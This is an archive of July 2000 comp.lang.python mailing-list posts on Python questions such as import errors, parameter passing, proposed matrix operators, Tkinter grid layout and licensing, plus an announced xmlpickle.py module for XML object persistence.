Subject: newbie installing BoaConstructor
Message-ID: <39806D4A.7E493326@cicei.ulpgc.es>

Hi,
    I have been playing around with Pyton for several weeks and I like
it.
I have Python 1.5.2 installed on Win95 and wxPython (+wxWindows)
I have downloaded BoaConstructor for rapid GUI building . I have placed
Boa files in a dir BoaConstructor under D:\Phyton but I cannot get it
working. When running the Boa.py file I obtain the following message:
>>>
importing wxPython...
imported wxPython
Traceback (innermost last):
  File "D:\Python\BoaConstructor\Boa.py", line 17, in ?
    import Editor
  File "D:\Python\BoaConstructor\Editor.py", line 17, in ?
    from Utils import AddToolButtonBmpObject
NameError: Case mismatch for module name Utils
(filename D:\PYTHON\wxPython\utils.py)

I do not understand why Phyton is looking for
D:\PYTHON\wxPython\utils.py instead for
D:\PYTHON\BoaConstructor\Utils.py

D:\PYTHON\BoaConstructor\ is in the DOS path, but D:\PYTHON\wxPython\ is
not

I know this may be trivial, but I would appreciate any tip

Thanks a lot

Enrique Castro
ecastro at cicei.ulpgc.es



From dgoodger at bigfoot.com  Thu Jul 27 22:49:58 2000
From: dgoodger at bigfoot.com (David Goodger)
Date: Thu, 27 Jul 2000 22:49:58 -0400
Subject: "always passes by reference"
References: <8llct3$n34$1@news.dtc.hp.com><397FCE9C.F22BB6B4@see.my.signature>
Message-ID: <B5A66D15.6B2D%dgoodger@bigfoot.com>

"Pass by Spanish Inquisition" is a highly Pythonic term, and one that I like
a lot. However... (and forgive me if this has already been mentioned)

I've heard Python's parameter passing termed "pass by assignment". So a
function:

    def f(x):
        pass

which is called as:

    f(y)

simply does the assignment:

    x = y

with x in the function's namespace, and y in the caller's namespace. So what
happens in regards to values/references? Lists and dictionaries appear to be
passed by reference, because they're mutable. Strings, tuples and numbers
appear to be passed by value, because they're immutable. Not having delved
into the internals of the process, I can't authoratively say, but this seems
a perfectly reasonable explanation to me. All parameters are simply assigned
or bound to new names in new local namespaces. What is possible depends on
the type of object that's passed.

Of course, this just passes the buck over to, "so how is assignment
performed in Python?". But that seems to be an easier question to answer.

-- 
David Goodger    dgoodger at bigfoot.com    Open-source projects:
 - The Go Tools Project: http://gotools.sourceforge.net
 (more to come!)



From robin at jessikat.demon.co.uk  Fri Jul  7 13:55:47 2000
From: robin at jessikat.demon.co.uk (Robin Becker)
Date: Fri, 7 Jul 2000 18:55:47 +0100
Subject: How to print to stdout in binary
References: <8k1kn5$mkt$1@nnrp1.deja.com> <3965408E.DDD4A2@pehr.net>
 <8k4cjr$fic$1@nnrp1.deja.com> <Oo9IrBA89bZ5EwGY@jessikat.demon.co.uk>
 <8k52il$1p2$1@pollux.ip-plus.net>
Message-ID: <TsaPYgAjmhZ5EwEI@jessikat.demon.co.uk>

In article <8k52il$1p2$1 at pollux.ip-plus.net>, J?rgen Hermann <jhe at webde-
ag.de> writes
>
>"Robin Becker" <robin at jessikat.co.uk> schrieb im Newsbeitrag
>news:Oo9IrBA89bZ5EwGY at jessikat.demon.co.uk...
>> try creating wstdout.py
>>
>> import sys
>> sys.stdout.write('123456789\n')
>
>try:
>    import msvcrt, os
>    msvcrt.setmode(1, os.O_BINARY)
>except:
>    pass
>
>import sys
>sys.stdout.write('123456789\n')
>
>[d:\tmp]py binstdout.py >test
>
>[d:\tmp]ls -l test
>-rw-r--r--   1 544      everyone       10 Jul  7 19:04 test
>
...
that's the answer to the original question; well done.
-- 
Robin Becker


From paul at prescod.net  Fri Jul 21 14:55:12 2000
From: paul at prescod.net (Paul Prescod)
Date: Fri, 21 Jul 2000 13:55:12 -0500
Subject: Operators for everything (was Re: Operators for matrix)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <oa5dns8idp0ktl6kvlr37ps1ovrip48a0h@4ax.com> <3977AF5E.552F4F42@my.signature> <W.Whiten-2107001658290001@whiten-mac.jkmrc.uq.edu.au> <m38zuvny7v.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <39789C90.B1212E48@prescod.net>

Michael Hudson wrote:
> 
> The semantics would be:
> 
> a @<id> b === <id>(a,b)
> 
> for any valid identifier <id>.
> 
> There are still precedence issues, but I think they can be ignored
> (make everything of this from the same (low) precedence & left
> asssociative).

I like this idea. Is it appropriate to have just the whitespace as the
delimiter though?

It also seems like it could be combined (perhaps painfully) with the
requirement that some operators take parameters:

a @foo(x,y) b

-- 
 Paul Prescod - Not encumbered by corporate consensus
"Hardly anything more unwelcome can befall a scientific writer than 
having the foundations of his edifice shaken after the work is 
finished.  I have been placed in this position by a letter from 
Mr. Bertrand Russell..." 
 - Frege, Appendix of Basic Laws of Arithmetic (of Russell's Paradox)



From pj at sgi.com  Sat Jul 29 15:00:12 2000
From: pj at sgi.com (Paul Jackson)
Date: 29 Jul 2000 19:00:12 GMT
Subject: Operators for everything (was Re: Operators for matrix)
References: <m3em4ld5t3.fsf@atrus.jesus.cam.ac.uk> <397CB3EA.15F5514F@prescod.net> <200007250053.RAA03842@rocket.knowledgetrack.com> <397CFDAC.38A22DAF@prescod.net>
Message-ID: <8lv9js$anh7u$1@fido.engr.sgi.com>

|> from matpy import elementwiseadd
|> ea=elementwiseadd
|> j = a @ea b

Pushing Paul Prescod's preference for "using alphanumerics
for new operators" a step further, how about a way to spell
the directive that "hereinafter in this parsing stream, this
name shall be parsed as a binary infix operator".

Say:
	__builtins__.syntax.binaryInfixOperator(f)

Then one could write:

    In module "matrixops":
	def elementwiseadd(a,b):
	    # elementwise matrix add of a, b
	syntax.binaryInfixOperator(elementwiseadd)

    In "myapplication":
	import matrixops
	j = a matrixops.elementwiseadd b

(See below for possible abbreviations.)

<sick> Added benefit: when the Forth guys discover Python,
they could lobby for:

	__builtins__.syntax.postfixOperator(f)

so that they could write

	a b c f		# instead of f(a,b,c)
</sick>

I will grant that this idea has problems:

1) a possible challenge for the parser,

2) and what's likely worse, a challenge for
   the language - whatever is the meaning (*)
   of attaching attributes to the name, rather
   than the thing named, and whatever are the
   compile time implications of such attributes?

   For example, if "myapplication" above had
   been written instead as:

	import matrixops
	ea = matrixops.elementwiseadd
	j = a ea b

   or as:

	from matrixops import elementwiseadd
	ea = elementwiseadd
	j = a ea b

   would this work - would the name "ea" acquire
   the attribute of being a binaryInfixOperator?

   (*) Perhaps we should ask L. Wall this.

3) Presumably, if a binary infix op appears without a
   preceding term for its left operand, then it is a
   reference to the function itself, rather than an
   invocation of the function (just as when a classic
   function name appears without a subsequent list of
   operands).

The line noise char '@' has the possible advantage
of warning the reader that unusual syntax is present.

But '@' has much the same problems for the language.
For instance, does the following 'work':

	from matpy import elementwiseadd
	ea = @elementwiseadd
	j = a ea b

Summary:
    In short, '@' is just a terse way of saying, each
    time you use it, that an operator is binary infix.

    I'd rather spell that out once, more verbosely.
-- 
-- 
I won't rest till it's the best ...	   Software Production Engineer
Paul Jackson (pj at sgi.com; pj at usa.net) 3x1373 http://sam.engr.sgi.com/pj


From Marc.Battyani at fractalconcept.com  Sat Jul 15 13:44:46 2000
From: Marc.Battyani at fractalconcept.com (Marc Battyani)
Date: Sat, 15 Jul 2000 19:44:46 +0200
Subject: mod_python and content_encoding
Message-ID: <BF9DECFFA8C2F90B.2B97AFB5BF4D8CE0.2B105AD81AA00DF2@lp.airnews.net>

Hi,

I'm trying to use a 'gzip' content encoding but this member is set as read
only in mod_python.

Is there a real reason to not change it to to read/write ?

Thanks
Marc Battyani






From loewis at informatik.hu-berlin.de  Sun Jul  9 06:27:27 2000
From: loewis at informatik.hu-berlin.de (Martin von Loewis)
Date: 09 Jul 2000 12:27:27 +0200
Subject: Making tabs illegal
References: <394ac7ea.609024015@nntp.interaccess.com> <3950C0E2.7532D38@sightreader.com> <8k5l8d$9lr$1@nnrp1.deja.com> <Pine.BOS.4.10.10007081420100.1550-100000@be> <vnd1z14w5re.fsf@camelot-new.ccs.neu.edu> <Pine.BOS.4.10.10007091300200.1313-100000@be>
Message-ID: <p6qaefr4n00.fsf@informatik.hu-berlin.de>

Matthew Schinckel <baron at null.net> writes:

> You have missed my point entirely - I am arguing against the banning of
> tabs - my editor does tabs, syntax highlighting and autoindenting.

No need to worry. Tabs won't be outlawed. Mixing tabs and spaces in
one file in an ambiguous way will be outlawed.

Regards,
Martin


From see at my.signature  Thu Jul 20 23:14:49 2000
From: see at my.signature (Greg Ewing)
Date: Fri, 21 Jul 2000 15:14:49 +1200
Subject: Dot-comma, anyone? (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <397517C6.93911CF0@prescod.net> <397684EB.3E0C5D88@my.signature> <m3vgy1nvfc.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <3977C029.2C1DC8AC@my.signature>

Michael Hudson wrote:
> 
> > an elementwise tuple-creation operator
> 
> You're joking, right?

About that particular syntax, yes. But not about
the idea of some sort of zipping syntax.

For one thing, it would make it easier to implement
parallel iteration efficiently. When I write

  for x,y in zip(a,b):

I'm just trying to express the way the iteration is
to be carried out. I don't really mean that I want the
zip of the two lists to be computed first and then
iterated over.

If there were a special syntax for zipping, the
compiler could easily recognise this case and
optimise it.

I haven't thought of a syntax for it that I really
like, yet, though. 

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


From anamax at earthlink.net  Fri Jul 14 21:19:33 2000
From: anamax at earthlink.net (Andy Freeman)
Date: Sat, 15 Jul 2000 01:19:33 GMT
Subject: NT4 shortcuts and import
Message-ID: <8koe6q$avh$1@nnrp1.deja.com>

I'd like to use a shortcut named, say, "src", from the current
directory to a directory somewhere else and then use "import src.foo".
The problem is that NT4 thinks that the shortcut is named "src"
but Python thinks that the shortcut is named "src.lnk".  Note that
I can't use "import src.lnk.foo" because the first "." is interpreted
as a directory name separator, not a part of the "src.lnk" module
name.

(1) How do I get Python to use "src" as the module name?
(2) How do I escape "." in variable names?

I'm using Python 1.5.

thanks,
-andy


Sent via Deja.com http://www.deja.com/
Before you buy.


From bwarsaw at beopen.com  Fri Jul 28 02:35:20 2000
From: bwarsaw at beopen.com (Barry A. Warsaw)
Date: Fri, 28 Jul 2000 02:35:20 -0400 (EDT)
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCMEHNGMAA.tim_one@email.msn.com>
	<t87g5.18740$ga2.487562@newsread2.prod.itd.earthlink.net>
Message-ID: <14721.10664.984701.353597@anthem.concentric.net>

>>>>> "CL" == Chris Lawrence <quango at watervalley.net> writes:

    CL> FWIW, if the license is incompatible with the GPL, we'll end
    CL> up with another license pissing contest like the GPL/QPL one.
    CL> It might lead to trouble with distributing binaries of the
    CL> readline module, for example.  I hope BeOpen and/or CNRI are
    CL> keeping RMS in the loop on this one, as I think that was the
    CL> problem that led to the neverending QPL squabble.

As primary maintainer of the GPL'd Python application Mailman, I am
acutely aware of the importance of GPL compatibility, and I know Guido
and others at BeOpen are too.

Without GPL compatibility, Mailman could never rely on any feature or
patch after the Python 1.6alpha2 release.

-Barry



From grey at despair.rpglink.com  Fri Jul 28 12:25:43 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 16:25:43 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <dp3dkulamd.fsf@mraz.iskon.hr> <slrn8o38ap.3ok.grey@teleute.rpglink.com> <VFhg5.2678$6E.683528@ptah.visi.com>
Message-ID: <slrn8o3cs4.49c.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 15:29:57 GMT, Grant Edwards <ge at nowhere.none> wrote:
>For whom, exactly, are programming languages supposed to be
>designed if not for programmers?

    Computers and programmers.  Language design is a consession of what can be
made easy for the computer versus what can be made easy for the programmer.  

    Furthermore, just because past programmers learned types since they were
needed for programming based on consessions does not automatically dictate
that future languages for future programmers need to follow the same path.  If
that were the case, bring out the punch cards for it was good enough for the
programmers of past.

    As for your human, not-human argument, no, I'm not saying you're not
human.  I'm saying you're not representative of all of humanity any more than
I am representative of all programmers even though I am one.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From scott at lund.com  Mon Jul  3 16:57:04 2000
From: scott at lund.com (Scott Chapman)
Date: Mon, 03 Jul 2000 13:57:04 -0700
Subject: Book for sale - Programming Python w/CD $30.00 + Shipping
Message-ID: <tgv1ms0ejkadv37gbo0viminjpcpfuda0k@4ax.com>

Email scott at lund.com if interested. Payment via PayPal preferred.



From aahz at netcom.com  Mon Jul 31 16:05:35 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 31 Jul 2000 20:05:35 GMT
Subject: Dynamic variables
References: <75F7304BB41CD411B06600A0C98414FCB3682C@ORSMSX54>
Message-ID: <8m4m6f$2s7$1@slb0.atl.mindspring.net>

In article <75F7304BB41CD411B06600A0C98414FCB3682C at ORSMSX54>,
Daley, Mark W <mark.w.daley at intel.com> wrote:
>
>Does anyone know of a way to create variables on the fly, like in a loop?  I
>want to be able to build a set of check buttons in a GUI I'm writing, and
>each check button needs a different variable, I think, to determine which
>ones are checked.  I want to use a for loop to iterate over a list to build
>the check buttons, but I don't know the contents or length of the list.  Any
>ideas?

Use a dictionary.  If that's not clear, I'll be less terse next time.
--
                      --- Aahz (Copyright 2000 by aahz at pobox.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

NOTE: end of September, Earthlink kills Netcom.  My new permanent address is 
aahz at pobox.com.  I have not decided where to set my primary shell account.
Please do not send me e-mail condolences; my mailbox is already too big.


From hzhu at localhost.localdomain.bbs  Mon Jul 17 02:30:03 2000
From: hzhu at localhost.localdomain.bbs (hzhu at localhost.localdomain.bbs)
Date: 17 Jul 2000 06:30:03 GMT
Subject: Discussion: Introducing new operators for matrix computation
Message-ID: <3bR2VS$keK@openbazaar.net>

On Mon, 17 Jul 2000 02:07:08 GMT, jepler epler <jepler.lnk at lnk.ispi.net> wrote:
>On Sat, 15 Jul 2000 04:29:09 GMT, Huaiyu Zhu
> <hzhu at localhost.localdomain> wrote:
>>That's the beauty of numerical computation, because all kinds of
>>applications, from animation on your screen to controlling satallite in
>>space to analysing molecular structures to calculating consumer preference
>>could all be expressed in the language of linear algebra.  (Mathematicians
>>study spaces more abstract than linear spaces, but you wouldn't want to hear
>>about them before appreciating the usefulness of linear algebra.) For
>>example, all deterministic procedures are functions, and most functions we
>>see are simply points in an (infinite dimensional) space.
>
>That's the beauty of procedural programming, because all kinds of
>applications, from animation on your screen to controlling a satellite in
>space to analyzing molecular structures to calculating consumer preference
>could all be expressed in the language of procedural programming.
>(Programmers study programming languages more abstract than functional
>programming, but you wouldn't want to hear about them before appreciating
>the usefulness of procedural programming.)  For example, all deterministic
>processes are expressible as Turing machines, and most turing machines
>we see are simply expressible in procedural languages.
>

The first paragraph was a response to a particular argument.  There are
problems that most people would not think of using linear algebra and ends
up with programs of hundreds of lines with slow for loops, but which could
be expressed in just a couple of math formula and, given the right syntax,
maps to less than a dozen lines of short clean code.

I'm not sure what the second paragraph is referring to.  If it is telling
people that something that's written in assembly could be easily done in
procedural languages then it makes perfect sense, except for the reference
to Turing machines - if you use Turing machines as building blocks (as
opposed to computing engines), how many TMs do you expect to halt before the
program finishes?

not-that-this-is-on-topic-ly yr's

Huaiyu

PS. I'm sure someone would ask how you could complete the calculation of an
infinite dimensional vector.  That is left as an exercise to the reader. :-)


From jacobs at darwin.epbi.cwru.edu  Tue Jul 18 07:56:53 2000
From: jacobs at darwin.epbi.cwru.edu (Kevin Jacobs)
Date: 18 Jul 2000 11:56:53 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735193.C8A6C311@prescod.net> <slrn8n6m1n.qp.hzhu@rocket.knowledgetrack.com> <8kvocr$5mq$1@eeyore.INS.CWRU.Edu> <8F74C4E37gmcmhypernetcom@199.171.54.155> <slrn8n7b88.2jc.hzhu@rocket.knowledgetrack.com> <8l0dqm$lji$1@eeyore.INS.CWRU.Edu> <slrn8n7htp.2jc.hzhu@rocket.knowledgetrack.com>
Message-ID: <8l1gm5$kh4$1@eeyore.INS.CWRU.Edu>

Huaiyu Zhu <hzhu at localhost.localdomain> wrote:
> result = e(r'transform * get_data_from(webobject(url))')

> or even using "http:..." in place of url?  Eventually, wouldn't the
> e(r'...') be able to parse the whole python grammer?

Not really.  From what I've seen, the Python expression syntax is
significantly simpler than the full grammar.  At least, its much simpler to
parse.

> One of my biggest gripe about matlab is it forces me to treat strings as
> part of matrix.  Now you are asking me to treat matrix as part of string.
> :-)

Not matrices, just matrix expressions.  Maybe this isn't such a big deal
for me since I grew up with LISP and Scheme.


> There are proposals for using @/ and /@ for two directions of division, or
> using % for left division.  I'm comfortable with the current solve(a,b), or
> maybe a shorter sol(a,b) but am open to any suggestions.

I have no problem with adding syntax for defining new operators.  In fact, I
think that Standard ML allows just that.  I know I've seen a proposal
something like this posted already, but lets consider a builtin like:

add_infix_operator('.*', default_binary_element_multiply_evaluator,
                   '__relement_multiply__', # Right associative class member
                   '__lelement_multiply__') # Left associative class member

where the default evaluator is called if the right or left associative
member evaluators are not specified on the operand classes.  Such a scheme
would be sufficient if all the proposed linear-algebra syntax used valid
operators.  It should be possible to augment the Python grammar to support
this, though its certainly not trivial.

-Kevin


-- 
----------->  Kevin Jacobs  <-----------|------->  (216) 778-8211  <--------
S.A.G.E. Project Technical Coordinator  | Department of Epidemiology
  & System Administrator                |   & Biostatistics
Internet E-mail: jacobs at darwin.cwru.edu | Case Western Reserve University
----------------------------------------------------------------------------


From kpmurphy at my-deja.com  Mon Jul 24 13:36:45 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Mon, 24 Jul 2000 17:36:45 GMT
Subject: tkinter: grid: expand and fill
References: <8lhrbd$t4v$1@nnrp1.deja.com> <8lhs6l$tpt$1@nnrp1.deja.com>
Message-ID: <8lhurd$3d$1@nnrp1.deja.com>

here's my example that still doesn't work:

class scrolledtext:
    def __init__(self, master, scrollflags=(NO,NO)):
        stxt = self.stxt = Frame(master)
        txt = Text(stxt, height=5)
        txt.grid(row=0, column=0, sticky=NSEW)

        if scrollflags[0]:
            hbar = Scrollbar(stxt, orient=HORIZONTAL, takefocus=NO,
width=10)
            hbar.grid(row=1, column=0, sticky=W+E, columnspan=2)
            txt.config(xscrollcommand=hbar.set)

        if scrollflags[1]:
            vbar = Scrollbar(stxt, orient=VERTICAL, takefocus=NO,
width=10)
            vbar.grid(row=0, column=1, sticky=N+S)
            txt.config(yscrollcommand=vbar.set)


...called with the following line:
statustxt = scrolledtext(sbar, (YES, YES))
where sbar is a frame.

i want the text to fill the area except for the spots where the scroll
bars are.  i also want the window to be able to be resized.  help!

thanks,
-->keith


In article <8lhs6l$tpt$1 at nnrp1.deja.com>,
  John Grayson <johngrayson at home.com> wrote:
> In article <8lhrbd$t4v$1 at nnrp1.deja.com>,
>   Keith Murphy <kpmurphy at my-deja.com> wrote:
> > is there a way to make a frame, that's been formatted using grid,
> expand
> > to fill the space it is given?
> >
> > thanks,
> > -->keith
> >
> > Sent via Deja.com http://www.deja.com/
> > Before you buy.
> >
>
> Try  " sticky=NSWE " in the grid method call for the frame...
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From jerome.quelin at insalien.org  Mon Jul  3 08:06:53 2000
From: jerome.quelin at insalien.org (Jerome Quelin)
Date: Mon, 3 Jul 2000 14:06:53 +0200
Subject: Class design: accessing "private" members
References: <962352843.1667731268@news.libertysurf.fr><8jhuvn01vs0@news2.newsguy.com> <4.3.1.2.20000630145109.0201d9e0@phear.dementian.com> <8jplru0lfe@news2.newsguy.com>
Message-ID: <962626013.769258863@news.libertysurf.fr>

"Alex Martelli" <alex at magenta.com> wrote:
>These are excellent arguments for always using accessors from OUTSIDE the
>class.  Jerome, however, was talking about using them from INSIDE the class
>as well, which is a different issue.
Sure, I'm always using accessors from outside.
But from inside the class, I don't know which is the best. I feel like the KISS
rule should apply, but what do you OO gurus think of it ? How far encapsulation
should go ?

Regards,
Jerome
--
jerome.quelin at insalien.org


From rumjuggler at cryptarchy.org  Wed Jul 26 16:07:40 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Wed, 26 Jul 2000 20:07:40 GMT
Subject: print format
References: <397E3530.E821018C@bioeng.ucsd.edu> <slrn8nsdpi.2pk.wtanksle@dolphin.openprojects.net> <kdrf5.1533$ck7.387726@nntp1.onemain.com> <slrn8nufmc.3kn.wtanksle@dolphin.openprojects.net>
Message-ID: <0khunsofkesepv41mie43lvj26iurfuu0v@4ax.com>

On Wed, 26 Jul 2000 19:41:01 GMT, wtanksle at dolphin.openprojects.net
(William Tanksley) wrote:

>On Tue, 25 Jul 2000 20:50:05 -0500, Mark Baker wrote:
>>wtanksle at dolphin.openprojects.net (William Tanksley) wrote:
>
>>>>Also, how do I print without a new line other than using
>>>>sys.stdout.write?
>
>>> Why?  Is there something in specific you're trying to avoid?  (Yes, it's
>>> possible, but it's not pretty.)
>
>>print 'bob',
>
>>That's not "pretty," but it's also not so ugly as to not tell him how to
>>do it.
>
>Ah.  I'd forgotten about that.  You're right, that's not as bad as the one
>I was thinking of.

Now I'm curious--what were you thinking of?

-- 
Barnabas T. Rumjuggler

The Allah Collectible Card Game!
"Oh no!  I'm almost out of Hit Points!  Al-Mu'id!  I choose you!"
 -- jmbay, in ark


From johnw at gnu.org  Wed Jul 26 19:59:00 2000
From: johnw at gnu.org (John Wiegley)
Date: Wed, 26 Jul 2000 16:59:00 -0700
Subject: ANNOUNCE: xmlpickle.py 0.1
Message-ID: <200007262359.QAA17539@localhost.localdomain>

This is a very poor man's XML pickling scheme, but I was unable to
find anything else.

It also provides a way of doing disk mirroring of in-memory objects.
That is, the object is represented both in memory, as a Python object,
and on disk, as an XML data file.  Whichever one is changed first, the
other will be updated appropriately on the next access to the object.

To use this behavior, all that's necessary is:

    import xmlpickle

    class Derived(xmlpickle.Persistent):
        def __init__(self, name):
            xmlpickle.Persistent.__init__(self, name + ".xml")

All changes to Derived objects will now be mirrored to name.xml files,
which, if changed on disk, will alter their in-memory counterparts the
next time someone accesses them.

-----[ file: xmlpickle.py ]--------------------------------------------

import os
import os.path
import sys
import time
import types
import string

from xml.sax import saxexts
from xml.dom.core import TEXT_NODE
from xml.dom.builder import Builder
from xml.dom.sax_builder import SaxBuilder

class Renderable:
    def first_nontext_child(self, node, count = 0):
        for child in node.childNodes:
            if child.nodeType != TEXT_NODE:
                if count:
                    count = count - 1
                else:
                    return child

    def input_data(self, node):
        if node.nodeName == 'string':
            text = ""
            for child in node.childNodes:
                text = text + child.nodeValue
            return text
        elif node.nodeName == 'int':
            text = ""
            for child in node.childNodes:
                text = text + child.nodeValue
            return int(string.strip(text))
        elif node.nodeName == 'list':
            newlist = []
            for item in node.childNodes:
                if item.nodeName != 'listitem':
                    continue
                value = self.input_data(self.first_nontext_child(item))
                newlist.append(value)
            return newlist
        elif node.nodeName == 'tuple':
            newtuple = ()
            for item in node.childNodes:
                if item.nodeName != 'tupleitem':
                    continue
                value = self.input_data(self.first_nontext_child(item))
                newtuple = newtuple + (value,)
            return newtuple
        elif node.nodeName == 'hash':
            newhash = {}
            for item in node.childNodes:
                if item.nodeName != 'hashitem':
                    continue
                hi = self.first_nontext_child(item)
                hk = self.first_nontext_child(hi)
                key = self.input_data(hk)
                hi = self.first_nontext_child(item, 1)
                hv = self.first_nontext_child(hi)
                value = self.input_data(hv)
                newhash[key] = value
            return newhash
        elif node.nodeName == 'type':
            obj = eval(node.attributes['name'])()
            return self.input_data(obj, node)
        else:
            pass                        # ignore tag

    def input_object(self, obj, node):
        for child in node.childNodes:
            if child.nodeName != 'property':
                continue
            data = self.input_data(self.first_nontext_child(child))
            obj.__dict__[child.attributes['name'].value] = data
                    

    def read_from_xml(self, file):
        "Read in the XML description of the project."

        # Create a SAX parser and a SaxBuilder instance
        p = saxexts.make_parser()
        dh = SaxBuilder()
        p.setDocumentHandler(dh)

        # Parse the input, and close the parser
        data = open(file, "r")
        p.parseFile(data)
        p.close()
        data.close()

        # Retrieve the DOM tree
        doc = dh.document

        return self.input_object(self, doc.documentElement)

    def output_data(self, builder, value, depth):
        vtype = type(value)
        if vtype == types.InstanceType:
            # Recursively process subobjects
            self.do_convert_to_dom(builder, value, depth)
        elif vtype == types.StringType:
            builder.text("\n" + (" " * depth))
            builder.startElement('string')
            builder.text(value)
            builder.endElement('string')
        elif vtype == types.IntType:
            builder.text("\n" + (" " * depth))
            builder.startElement('int')
            builder.text(str(value))
            builder.endElement('int')
        elif vtype == types.ListType:
            builder.text("\n" + (" " * depth))
            builder.startElement('list')
            for member in value:
                builder.text("\n" + (" " * (depth + 2)))
                builder.startElement('listitem')
                self.output_data(builder, member, depth + 4)
                builder.text("\n" + (" " * (depth + 2)))
                builder.endElement('listitem')
            builder.text("\n" + (" " * depth))
            builder.endElement('list')
        elif vtype == types.TupleType:
            builder.text("\n" + (" " * depth))
            builder.startElement('tuple')
            for member in value:
                builder.text("\n" + (" " * (depth + 2)))
                builder.startElement('tupleitem')
                self.output_data(builder, member, depth + 4)
                builder.text("\n" + (" " * (depth + 2)))
                builder.endElement('tupleitem')
            builder.text("\n" + (" " * depth))
            builder.endElement('tuple')
        elif vtype == types.DictType:
            builder.text("\n" + (" " * depth))
            builder.startElement('hash')
            for key, value in value.items():
                builder.text("\n" + (" " * (depth + 2)))
                builder.startElement('hashitem')
                builder.text("\n" + (" " * (depth + 4)))
                builder.startElement('hashkey')
                self.output_data(builder, key, depth + 6)
                builder.text("\n" + (" " * (depth + 4)))
                builder.endElement('hashkey')
                builder.text("\n" + (" " * (depth + 4)))
                builder.startElement('hashvalue')
                self.output_data(builder, value, depth + 6)
                builder.text("\n" + (" " * (depth + 4)))
                builder.endElement('hashvalue')
                builder.text("\n" + (" " * (depth + 2)))
                builder.endElement('hashitem')
            builder.text("\n" + (" " * depth))
            builder.endElement('hash')

    def do_convert_to_dom(self, builder, obj, depth = 2):
        builder.startElement('type', {"name": obj.__class__.__name__})

        L = obj.__dict__.keys()
        L.sort()

        for attr in L:
            if attr[:1] == '__' or attr[:3] == "_v_":
                continue
            value = getattr(obj, attr)
            builder.text('\n' + (" " * depth))
            builder.startElement('property', {"name": attr})
            self.output_data(builder, value, depth + 2)
            builder.text('\n' + (" " * depth))
            builder.endElement('property')

        builder.text('\n')
        builder.endElement('type')

    def write_to_xml(self, file):
        builder = Builder()
        self.do_convert_to_dom(builder, self)
        data = open(file, "w")
        data.write(builder.document.toxml())
        data.close()

class Persistent(Renderable):
    def __init__(self, filename):
        self.__dict__['_v_filename'] = filename
        self._revert_object(force = 1)
    
    def _revert_object(self, force = 0):
        """Check the XML representation of this object.

        If the memory resident copy is out of date, read it from disk
        again."""
        if not self.__dict__.has_key('_v_filename'):
            return
        
        if not os.path.isfile(self.__dict__['_v_filename']):
            return

        mtime = os.stat(self.__dict__['_v_filename'])[8]

        if force or mtime > self.__dict__['_v_timestamp']:
            self.read_from_xml(self.__dict__['_v_filename'])
            self.__dict__['_v_timestamp'] = time.time()

    def _save_project(self):
        if not self.__dict__.has_key('_v_filename'):
            return

        self.write_to_xml(self._v_filename)
        self.__dict__['_v_timestamp'] = time.time()

    def __setattr__(self, prop, value):
        self.__dict__[prop] = value
        self._save_project()
        
    def __getattr__(self, prop):
        self._revert_object()
        return self.__dict__[prop]
        
    def __hasattr__(self, prop):
        self._revert_object()
        return self.__dict__.has_key(prop)


From jkraska1 at san.rr.com  Sun Jul 23 00:56:20 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Sun, 23 Jul 2000 04:56:20 GMT
Subject: bit manipulation frustration
References: <397A6980.CF15DB96@san.rr.com> <B59FEFA3.6877%dgoodger@bigfoot.com>
Message-ID: <397A7BB5.A6024F70@san.rr.com>

> > vice versa. Eeek. Help? Will someone please remind me and
> > hit me with a rubber mallet??? :)

> ... is one way. There are probably others. Consider youself whalloped.

Yeah, amongst all the various documentation, I finally found my
way to FAQTS. It was:

>>> l=list("fred")
>>> l
['f', 'r', 'e', 'd']
>>> string.join(l,"")
'fred'
>>> 

> > Second, this whole paradigm seems so skrewball.
> ...
> > get it?)

Um, well suppose I do something like...

            myfile.seek ( 2000, 0 )
            str = myfile.read (20)

This will result in a sequence of 20 bytes ('char'),
But these are 16 bit RGB values (1 pad, 5/5/5 R/G/B).
In C, I would quite possibly load these into ints,
as 16 bit values straight up, and manipulate them that
way. Now while I understand that I can unpack into
16 bit integers, manipulate, and then pack back to
char all via the struct module, this is seeming like
a great deal of transmogrification.

Say for example I want to increase or decrease R,
G, or B values. Or, say, I want to convert to 32
bit color bitmaps?



C/


From fatman40k at hotmail.com  Sun Jul 23 12:36:50 2000
From: fatman40k at hotmail.com (Adam Durity)
Date: Sun, 23 Jul 2000 16:36:50 GMT
Subject: MySQL, mSQL, or other database
Message-ID: <CaFe5.3901$pC1.18696@news02>

I have a website hosted by a WPP and they will provide me with Access
database support for an additional $10 a month.  I'm on a fairly tight
budget so is there any way i can use MySQL, mSQL, or another database
package to handle a smple SQL database without a DSN.  BTW, i am a newbie to
all this stuff.  Thanks in advance, Adam.




From thomas at xs4all.net  Thu Jul 27 17:29:12 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Thu, 27 Jul 2000 23:29:12 +0200
Subject: Python is Zen (was Python is wierd)
